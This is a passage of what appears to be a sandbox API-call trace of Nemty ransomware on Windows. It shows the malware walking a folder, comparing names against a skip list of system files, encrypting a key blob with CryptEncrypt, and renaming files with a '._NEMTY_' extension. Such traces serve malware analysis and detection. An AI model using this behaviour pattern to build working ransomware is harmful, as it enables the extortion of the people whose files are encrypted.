dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.241] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.247] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.247] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.247] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.247] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.253] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.253] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.253] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.254] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340368, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0161.254] CloseHandle (hObject=0xffffffff) returned 0 [0161.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x63404d8 [0161.254] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0161.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0161.254] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0161.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0161.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0161.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6343fe8 [0161.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x166) returned 0x63440e0 [0161.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0161.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0161.254] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-last-quarter_partly-cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-last-quarter_partly-cloudy.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-last-quarter_partly-cloudy.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-last-quarter_partly-cloudy.png._nemty_kgobjgd_")) returned 0 [0161.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440e0 | out: hHeap=0x4f90000) returned 1 [0161.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404d8 | out: hHeap=0x4f90000) returned 1 [0161.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0161.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340368 | out: hHeap=0x4f90000) returned 1 [0161.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0161.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0161.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0161.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0161.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0161.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0161.254] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871ba95a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x871ba95a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b0aab89, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x251a, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="docked_black_moon-new.png", cAlternateFileName="")) returned 1 [0161.254] lstrcmpiW (lpString1="docked_black_moon-new.png", lpString2=".") returned 1 [0161.254] lstrcmpiW (lpString1="docked_black_moon-new.png", lpString2="..") returned 1 [0161.254] lstrcmpiW (lpString1="docked_black_moon-new.png", lpString2="...") returned 1 [0161.254] lstrcmpiW (lpString1="docked_black_moon-new.png", lpString2="windows") returned -1 [0161.254] lstrcmpiW (lpString1="docked_black_moon-new.png", lpString2="$RECYCLE.BIN") returned 1 [0161.255] lstrcmpiW (lpString1="docked_black_moon-new.png", lpString2="rsa") returned -1 [0161.255] lstrcmpiW (lpString1="docked_black_moon-new.png", lpString2="NTDETECT.COM") returned -1 [0161.255] lstrcmpiW (lpString1="docked_black_moon-new.png", lpString2="ntldr") returned -1 [0161.255] lstrcmpiW (lpString1="docked_black_moon-new.png", lpString2="MSDOS.SYS") returned -1 [0161.255] lstrcmpiW (lpString1="docked_black_moon-new.png", lpString2="IO.SYS") returned -1 [0161.255] lstrcmpiW (lpString1="docked_black_moon-new.png", lpString2="boot.ini") returned 1 [0161.255] lstrcmpiW (lpString1="docked_black_moon-new.png", lpString2="boot.ini") returned 1 [0161.255] lstrcmpiW (lpString1="docked_black_moon-new.png", lpString2="AUTOEXEC.BAT") returned 1 [0161.255] lstrcmpiW (lpString1="docked_black_moon-new.png", lpString2="ntuser.dat") returned -1 [0161.255] lstrcmpiW (lpString1="docked_black_moon-new.png", lpString2="desktop.ini") returned 1 [0161.255] lstrcmpiW (lpString1="docked_black_moon-new.png", lpString2="CONFIG.SYS") returned 1 [0161.255] lstrcmpiW (lpString1="docked_black_moon-new.png", lpString2="RECYCLER") returned -1 [0161.255] lstrcmpiW (lpString1="docked_black_moon-new.png", lpString2="BOOTSECT.BAK") returned 1 [0161.255] lstrcmpiW (lpString1="docked_black_moon-new.png", lpString2="bootmgr") returned 1 [0161.255] lstrcmpiW (lpString1="docked_black_moon-new.png", lpString2="programdata") returned -1 [0161.255] lstrcmpiW (lpString1="docked_black_moon-new.png", lpString2="appdata") returned 1 [0161.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0161.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-new.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0161.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0161.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-new.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-new.png", lpUsedDefaultChar=0x0) returned 25 [0161.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0161.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0161.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-new.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0161.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0161.256] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-new.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-new.png", lpUsedDefaultChar=0x0) returned 25 [0161.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0161.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0161.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0161.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0161.256] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-new.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0161.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0161.256] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-new.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-new.png", lpUsedDefaultChar=0x0) returned 25 [0161.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0161.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0161.256] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-new.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0161.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0161.256] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-new.png", cchWideChar=25, lpMultiByteStr=0x4f9ed08, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-new.png", lpUsedDefaultChar=0x0) returned 25 [0161.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0161.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400d0 [0161.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0161.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0161.256] Sleep (dwMilliseconds=0x5) [0161.270] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x13c58b70, dwHighDateTime=0x1d561e8)) [0161.270] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x13c58b70, dwHighDateTime=0x1d561e8)) [0161.271] GetLastError () returned 0x5 [0161.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0161.271] GetLastError () returned 0x5 [0161.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0161.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0161.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0161.271] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0161.271] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0161.271] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0161.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0161.271] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e91c | out: pszString="5KxYQCsH6J8G74u2wW6kOxSXOT+YEv+UfEWNkS8smUDUSJmU3/S9jEnapIVR7QFl\r\n0S+ahhwVG02DIVa8d4pQm+rG9Vqwwu4pWw5DX7jDAdlR1XFD+nPkMPb7qCj3JB3a\r\nRAlxDVv+3wSCgAmZbly9s2M2qsiJRm3Eak1PBarASy4u+SODBlLRRtEqTZGwj8Q/\r\nxEtkOiqmQMRFD4NRx7Vopr72nSgzLO6OAqJJnSidYDtBOgLdntH0omS2vIpvMS1R\r\nps+AbvvsDAQgSUf+cS7LUGl3ZExf8n0uQrAYubzV3HiqDGGv9NI11noMaynOamfC\r\nVHW3e0RBgX+0BWWns/evNg==\r\n", pcchString=0x653e91c) returned 1 [0161.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0161.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0161.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0161.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0161.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0161.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0161.271] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-new.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-new.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0161.272] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0161.272] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0161.272] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.272] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.281] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.282] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.282] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.282] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.291] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.291] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.291] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.291] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.300] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.300] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.301] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.301] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.310] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.310] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.310] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.310] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.319] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.319] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.319] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.319] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.328] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.328] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.329] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.329] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.338] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.338] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.338] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.338] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.347] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.347] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.347] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.347] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.356] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.356] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.356] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.356] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.366] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.366] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.366] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.366] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.372] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.372] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.372] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.378] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.378] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.378] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.378] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0161.378] CloseHandle (hObject=0xffffffff) returned 0 [0161.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403d0 [0161.378] MultiByteToWideChar (in: CodePage=0x0, 